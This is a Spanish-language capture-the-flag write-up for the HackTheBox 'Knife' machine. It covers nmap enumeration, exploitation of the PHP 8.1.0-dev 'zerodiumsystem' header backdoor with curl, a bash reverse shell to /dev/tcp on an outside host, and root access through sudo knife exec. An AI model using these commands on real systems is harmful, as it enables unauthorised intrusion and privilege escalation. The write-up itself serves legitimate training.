Knife HTB - WriteUp
En el día de hoy estaremos resolviendo la máquina Knife de HackTheBox. Es una máquina Linux y su dirección IP es 10.10.10.242.
Índice
Enumeración Inicial
Lo primero que haremos será una enumeración de los servicios expuestos que tiene la máquina. Para esa tarea usaremos nmap.
# Nmap 7.91 scan initiated Tue Feb 28 20:03:49 2023 as: nmap -sC -sV -Pn -oN Extraction -p22,80 10.10.10.242
Nmap scan report for 10.10.10.242
Host is up (0.053s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
| 256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
|_ 256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Emergent Medical Idea
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Feb 28 20:04:00 2023 -- 1 IP address (1 host up) scanned in 10.55 seconds
Podemos ver que hay dos puertos abiertos… Un shh y una web que utliza el protocolo http. Si accedemos a la web podemos ver que no tiene enlaces, no tiene aparentemente nada. Utilicé curl para ver las cabeceras de la página.
❯ curl -I 10.10.10.242
HTTP/1.1 200 OK
Date: Tue, 28 Feb 2023 19:09:12 GMT
Server: Apache/2.4.41 (Ubuntu)
X-Powered-By: PHP/8.1.0-dev
Content-Type: text/html; charset=UTF-8
Explotación Web
La versión del PHP me llamo la atención y la busqué en google. Tiene un backdoor que nos permite ejecutar comandos a nivel de sistema. Si utilizamos la cabecera:
User-Agentt: zerodiumsystem(‘command’);
Supuestamente podremos ejecutar comandos. Hagamos la prueba:
❯ curl -X GET "http://10.10.10.242/" -H "User-Agentt: zerodiumsystem('bash -c \"id\"');"
uid=1000(james) gid=1000(james) groups=1000(james)
Podemos ejecutar comandos a nivel de sistema, vamos a establecernos una revshell.
❯ curl -X GET "http://10.10.10.242/" -H "User-Agentt: zerodiumsystem('bash -c \"bash -i >& /dev/tcp/10.10.16.6/443 0>&1\"');"
Privesc
Si miramos nuestro listener podemos ver que tenemos una revshell.
❯ nc -lvvp 443
listening on [any] 443 ...
10.10.10.242: inverse host lookup failed: Unknown host
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.242] 43344
bash: cannot set terminal process group (965): Inappropriate ioctl for device
bash: no job control in this shell
james@knife:/$
Le hacemos el tratamiento de la tty https://ironhackers.es/tutoriales/como-conseguir-tty-totalmente-interactiva/
Si enumeramos nuestros privilegios podemos darnos cuenta que podemos ejecutar knife como root.
james@knife:/$ sudo -l
Matching Defaults entries for james on knife:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User james may run the following commands on knife:
(root) NOPASSWD: /usr/bin/knife
Si ejeuctamos knife -h nos da el panel de ayuda, en el podemos encontrar lo siguiente:
james@knife:/$ /usr/bin/knife -h
** EXEC COMMANDS **
knife exec [SCRIPT] (options)
Podemos aprovecharnos de eso para ejecutar comandos, como tenemos permisos para ejecutarlo como root, podemos convertirnos en dicho usuario de la siguiente forma:
james@knife:/$ sudo knife exec -E 'exec "/bin/sh"'
# id
uid=0(root) gid=0(root) groups=0(root)
# bash
root@knife:/#
Espero que te haya gustado esta máquina easy!